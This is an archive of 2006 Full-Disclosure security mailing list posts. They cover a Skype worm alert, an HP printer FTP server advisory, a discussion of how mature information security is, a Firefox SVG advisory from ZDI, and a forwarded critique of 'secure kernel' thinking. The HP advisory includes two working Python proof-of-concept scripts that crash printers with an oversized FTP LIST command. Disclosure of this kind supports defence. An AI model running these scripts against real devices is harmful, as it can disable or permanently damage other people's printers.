[Full-disclosure] Skype worm in the wild
New worm spreading with a malicious Skype Chat link and Skype application has been reported. The dangerous link starts with Check this! pointing to .org address. There is no information about unpatched issues in Skype, the worm just uses Skype to spread. More details at http://www.websense.com/securitylabs/blog/blog.php?BlogID=101 and http://blogs.securiteam.com/?p=766 - Juha-Matti ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] HP Printers FTP Server Denial Of Service
HP FTP Printer Server Denial Of Service --- Author: Joxean Koret Date: 2006 Location: Basque Country Affected Software - Vendor: Hewlett Packard Description: HP Printers FTP Server Denial Of Service Description --- A problem exists in almost any currently used HP Printer with the FTP Print Server. Version 2.4 of the FTP Print Server will crash with only one shoot. Version 2.4.5, which is latest, will need various shoots (the number of shoots needed is currently unknow). While playing with my own FTP Fuzzer I tried finding flaws in HP's Printers. After trying with 5 printers I found the problem in all of these. The problem is a buffer overflow in the LIST and NLST command. In version 2.4 a single shoot sending a LIST command with a long string (about 256 characters) is sufficient enough to test the vulnerability. Take care trying it because two of my printers were crashed completely (you will need to make use of your warranty ;] ). Against 2.4 versions it can crash the complete printer and be unresponsive even after rebooting it. In version 2.4.5 (which is the latest) you need to send various times long shoots to the parameter LIST (a single shoot will not crash, printer will answer with a Path too long message). You will need to send various times a LIST command with long strings. When trying with other commands you will see that no problem is raised and the printer will always be responsive. After a successfull attack you may completely crash your printer (i.e., calling technical support to fix your crashed printer). The problem can be easily triggered by using any FTP fuzzing tool. You can crash your printer in about 10 second(s) in a LAN. The printer models I used in my tests are: * HP LaserJet 5000 Series (firmware R.25.15 / R.25.47) * HP LaserJet 5100 Series (firmware V.29.12) Attached goes POCs for the vulnerabilities. Workaround -- Disable the FTP print server as, surely, you aren't using it. Disclaimer -- The information in this advisory and any of its demonstrations is provided as is without any warranty of any kind. I am not liable for any direct or indirect damages caused as a result of using the information or demonstrations provided in any part of this advisory. Contact --- Joxean Koret joxeankoret [at] yah00 [D0T] es -- --- Agian, agian, egün batez jeikiko dira egiazko Ziberotarrak, egiazko eüskaldünak, tirano arrotzen hiltzeko eta gure aiten aitek ützi daikien lurraren popüliari erremetitzeko. --- #!/usr/bin/python import sys from ftplib import FTP print Hewlett-Packard FTP Print Server Version 2.4.5 Buffer Overflow (POC) print Copyright (c) Joxean Koret print if len(sys.argv) == 1: print Usage: %s target % sys.argv[0] sys.exit(0) target = sys.argv[1] print [+] Running attack against + target try: ftp = FTP(target) except: print [!] Can't connect to target, target, ., sys.exc_info()[1] sys.exit(0) try: msg = ftp.login() # Login anonymously print msg except: print [!] Error logging anonymously.,sys.exc_info()[1] sys.exit(0) buf = ./A iMax = 9 for i in range(iMax): buf += buf print [+] Sending buffer of,len(buf[0:3000]),byte(s) ... try: print [+] Please, note that sometimes your connection will not be dropped. ftp.retrlines(LIST + buf[0:3000]) print [!] Exploit doesn't work :( print sys.exit(0) except: print [+] Apparently exploit works. Verifying ... print sys.exc_info()[1] ftp2 = FTP(target) try: msg = ftp2.login() print [!] No, it doesn't work :( print print msg sys.exit(0) except: print [+] Yes, it works. print sys.exc_info()[1] #!/usr/bin/python import sys from ftplib import FTP print Hewlett-Packard FTP Print Server Version 2.4 Buffer Overflow (POC) print Copyright (c) Joxean Koret print if len(sys.argv) == 1: print Usage: %s target % sys.argv[0] sys.exit(0) target = sys.argv[1] print [+] Running attack against + target try: ftp = FTP(target) except: print [!] Can't connect to target, target, ., sys.exc_info()[1] sys.exit(0) try: msg = ftp.login() # Login anonymously print msg except: print [!] Error logging anonymously.,sys.exc_info()[1] sys.exit(0) iMax = 6 buf = ./A. for i in range(iMax): buf += buf print [+] Sending buffer of,len(buf),byte(s) ... try: print [+] Please, note that sometimes your connection will not be dropped. ftp.retrlines(LIST + buf) print [!] Exploit doesn't work :( print sys.exit(0) except: print [+] Apparently exploit works. Verifying ... print sys.exc_info()[1] ftp2 = FTP(target) try: msg = ftp2.login() print [!] No, it doesn't work :( print print msg sys.exit(0) except: print [+] Yes, it works. print sys.exc_info()[1] signature.asc Description: Esta parte del
Re: [Full-disclosure] Skype worm in the wild
This updated Websense information released on Tuesday states that it is a Trojan Horse, in fact: http://www.websense.com/securitylabs/alerts/alert.php?AlertID=716 - Juha-Matti ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] comparing information security to other industries
So we have been dealing with information security from last 20 years and still the world is at large lost. We still see banks vulnerable to trivial XSS attacks and software broken by buffer overflows. How do we compare to other industries like construction, engineering, finance? What I am trying to figure out is how mature we are and how long will it take for to get stable?___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] comparing information security to other industries
On Tue, 19 Dec 2006 12:16:29 PST, KT said: So we have been dealing with information security from last 20 years and still the world is at large lost. We still see banks vulnerable to trivial XSS attacks and software broken by buffer overflows. How do we compare to other industries like construction, engineering, finance? What I am trying to figure out is how mature we are and how long will it take for to get stable? 20 years after the first automobile, we'd gotten as far as a Model A or T or so. Learning the ins and outs of stone arches took a millenium. And then when steel became available, it took several decades to learn that. Finance? When was Adam Smith's The Wealth of Nations, and how long did THAT take to really get understood? (For bonus points, how many centuries between the first use of abstract counters as money, and Smith's understanding of it? Why did *that* take so long?) Science? Einstein had a great year in 1905. How many people understood it by 1925? (Incidentally, the fact that we still have a lot of security issues isn't actually a software problem, so much as an innate lack of tools to help humans understand *any* complex system, be it software, or the economy, or global climate, or) pgprFvs3bbRhb.pgp Description: PGP signature ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] [WEB SECURITY] comparing information security to other industries
That's a tough question to address. I don't think the security industry will achieve perfection no more than the other industries you listed. Like the other disciplines, research continues, but so do the evolution of threats. Construction and engineering is plagued with their own set of challenges that must be overcome. Buildings can be engineered and constructed with a high degree of confidence, but a good, strong storm or earthquake can still bring them down. Security is the same in that sense. We can evolve our knowledge and implementations, but a good, strong storm (or careless error) can bring it all down :-) My 0.02 Will From: KT [mailto:[EMAIL PROTECTED] Sent: Tuesday, December 19, 2006 2:16 PM To: full-disclosure@lists.grok.org.uk; [EMAIL PROTECTED] Subject: [WEB SECURITY] comparing information security to other industries So we have been dealing with information security from last 20 years and still the world is at large lost. We still see banks vulnerable to trivial XSS attacks and software broken by buffer overflows. How do we compare to other industries like construction, engineering, finance? What I am trying to figure out is how mature we are and how long will it take for to get stable? Confidentiality Notice: This message is for the sole use of the intended recipient(s). It may contain confidential or proprietary information and may be subject to the attorney-client privilege or other confidentiality protections. If this message was misdirected, neither FNC Holding Company, Inc. nor any of its subsidiaries waive any confidentiality, privilege, or trade secrets. If you are not a designated recipient, you may not review, print, copy, retransmit, disseminate, or otherwise use this message. If you have received this message in error, please notify the sender by reply e-mail and delete this message. ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] comparing information security to other industries
On 12/19/06, [EMAIL PROTECTED] [EMAIL PROTECTED] wrote: On Tue, 19 Dec 2006 12:16:29 PST, KT said: So we have been dealing with information security from last 20 years i'd argue this is closer to 40 years than 20. [0] 20 years after the first automobile, we'd gotten as far as a Model A or T or so. 1885 [1] to 1965 [2] for decent auto security. 80 years? add 10 years if you consider air bags the requisite threshold. (Incidentally, the fact that we still have a lot of security issues isn't actually a software problem, so much as an innate lack of tools to help humans understand *any* complex system, be it software, or the economy, or global climate, or) i argue that the vast majority of insecure computing problems are indeed software problems, in the sense that proper software design and development would fix them. consider the automobile theme, where a wheel, some pedals, and a few signalling levers allow you to operate a vehicle with more computers and technology than space faring vehicles from a mere 30 years past. these machines are usable and secure, despite their mind boggling technological complexity brought about over a hundred years of evolutionary and radical improvement. let's side step the economics and inertia of existing software / IT practice and look at a future utopia for sake of argument: A: usability is requirement #1 for security [3]. is configuring that IPsec IKE/ISAKMP key distribution and re-key policy iPod (tm) simple? how about generating PKI infrastructure for those OpenVPN connections? security products are so ridiculously complicated it's a wonder anyone is able to use them. for a good laugh, write down the steps required to configure full disk encryption and a strong VPN from your laptop to a server. LOL, ROFFLE, etc. B: capability based computing is the norm, as identity based access control is fundamentally flawed [4]. if you've only heard of capability based security in passing, consider this an underscore of the systemic and pervasive nature of our willful ignorance of good practice. C: consumers can recognize and compare the merits of security built into systems they use, with producers willing and able to emphasize security considerations during design, implementation, testing, and support/integration phases of production and life cycle [5]. 99.5% of existing problems disappear in such a world, leaving mostly insider fraud to be addressed via process and policy. we can get there, but it ain't gonna happen soon... 0. Capability-Based Computer Systems - Chap. 3 Early Capability Architectures http://www.cs.washington.edu/homes/levy/capabook/ [ref: Dennis and Van Horn @ MIT using Capabilities to describe secure composition in 1966] 1. History of the Automobile http://en.wikipedia.org/wiki/History_of_the_automobile 2. Unsafe at Any Speed http://en.wikipedia.org/wiki/Unsafe_at_Any_Speed 3. Secure Interaction Design http://www.ischool.berkeley.edu/~ping/sid/ 4. Capability Security Model http://c2.com/cgi/wiki?CapabilitySecurityModel 5. Build Security In https://buildsecurityin.us-cert.gov/ ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] comparing information security to other industries
At 03:16 PM 12/19/2006, KT wrote: What I am trying to figure out is how mature we are and how long will it take for to get stable? Not very mature and it will take a long time to get stable because programmers are just beginning to be aware of application security requirements and then they need to figure out how to implement them. Remember most programmers came from a client server or mainframe world and they don't get it. The consumer also doesn't get it. They work great together. I went to a PHP Conference recently and the creator of PHP said that there is not such thing as a completely secure web application. When failure is a goal you will definitely get there. I know all this because I am a programmer by background. Most people designing web applications know so little about security it is scary. Regards, Nancy Kramer Webmaster http://www.americandreamcars.com Free Color Picture Ads for Collector Cars One of the Ten Best Places To Buy or Sell a Collector Car on the Web -- No virus found in this outgoing message. Checked by AVG Free Edition. Version: 7.1.409 / Virus Database: 268.15.23/591 - Release Date: 12/17/2006 ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] ZDI-06-051: Mozilla Firefox SVG Processing Remote Code Execution Vulnerability
ZDI-06-051: Mozilla Firefox SVG Processing Remote Code Execution Vulnerability http://www.zerodayinitiative.com/advisories/ZDI-06-051.html December 19, 2006 -- CVE ID: CVE-2006-6504 -- Affected Vendor: Mozilla -- Affected Products: Mozilla Firefox 2.0.0.0 Mozilla Firefox 1.5.0.4 - 1.5.0.8 -- TippingPoint(TM) IPS Customer Protection: TippingPoint IPS customers have been protected against this vulnerability since December 12, 2006 by Digital Vaccine protection filter ID 4867. For further product information on the TippingPoint IPS: http://www.tippingpoint.com -- Vulnerability Details: This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Mozilla Firefox. User interaction is required to exploit this vulnerability in that the target must visit a malicious page. The specific flaw exists in the browser's handling of SVG comment objects. Firefox does not correctly handle requests to append SVG comments to elements in other types of documents. Attempting such an operation results in a memory corruption that can be exploited to execute arbitrary code. -- Vendor Response: Mozilla has issued an update to correct this vulnerability. More details can be found at: http://www.mozilla.org/security/announce/2006/mfsa2006-73.html -- Disclosure Timeline: 2006.11.08 - Vulnerability reported to vendor 2006.12.12 - Digital Vaccine released to TippingPoint customers 2006.12.19 - Coordinated public release of advisory -- Credit: This vulnerability was discovered by an anonymous researcher. -- About the Zero Day Initiative (ZDI): Established by TippingPoint, a division of 3Com, The Zero Day Initiative (ZDI) represents a best-of-breed model for rewarding security researchers for responsibly disclosing discovered vulnerabilities. Researchers interested in getting paid for their security research through the ZDI can find more information and sign-up at: http://www.zerodayinitiative.com The ZDI is unique in how the acquired vulnerability information is used. 3Com does not re-sell the vulnerability details or any exploit code. Instead, upon notifying the affected product vendor, 3Com provides its customers with zero day protection through its intrusion prevention technology. Explicit details regarding the specifics of the vulnerability are not exposed to any parties until an official vendor patch is publicly available. Furthermore, with the altruistic aim of helping to secure a broader user base, 3Com provides this vulnerability information confidentially to security vendors (including competitors) who have a vulnerability protection or mitigation product. ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] [Discuss-gnuradio] VT receives NSF grant for SDR security (fwd)
-- Forwarded message -- Date: Tue, 19 Dec 2006 10:24:44 -0500 From: David P. Reed [EMAIL PROTECTED] To: discuss-gnuradio@gnu.org Subject: Re: [Discuss-gnuradio] VT receives NSF grant for SDR security Greg - I think the concept of software defined radio being explored by the VT folks is a concept I persoally refer to as crippled software radio. It is based on a discredited theory of security that was called a secure kernel when I was a student 30 years ago. In other words - that there is a small, well-defined portion of a system that can be certified separately from the rest of the system, which has the essential property that its *correct* operation *guarantees* that the entire system will be secure according to *all possible interpretations* of the word secure. I worked on a project of this sort, and am currently ashamed that I helped perpetuate that charade. I can only say that many others helped - it funded lots of work on proving programs correct - on the theory that it was feasible to prove small programs correct, and thus whole systems secure. The big lie, of course, is that the researchers essentially redefined the word secure to mean the trivial notion of security that you couldn't compromise the kernel. Of course today we stare the fraudulence of that idea in the face: phishing, XSS, and other very dangerous attacks do not depend one whit on a failure to secure a kernel of the operating system, or even the kernel of a router. Yet the idea that incorrectness is the same thing as insecurity persists in such ideas as the idea that you need hardware inegrity to prevent attacks on radio systems. I suggest that it is impossible to carry on a dialog with folks like the VT researchers, because they must necessarily buy into the certification of correctness notion of security.If they were concerned with correctness that would be fine - we could carry out a meaningful discussion about the difficulty of determining correctness in a system that is inherently focusing on getting reliable communications through unreliable channels (information theory). But since they play to the gods of deterministic correctness - unreliability doesn't fit in their notion of security - they cannot even consider the idea that there is no kernel that can be certified to reduce risk. ___ Discuss-gnuradio mailing list Discuss-gnuradio@gnu.org http://lists.gnu.org/mailman/listinfo/discuss-gnuradio ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
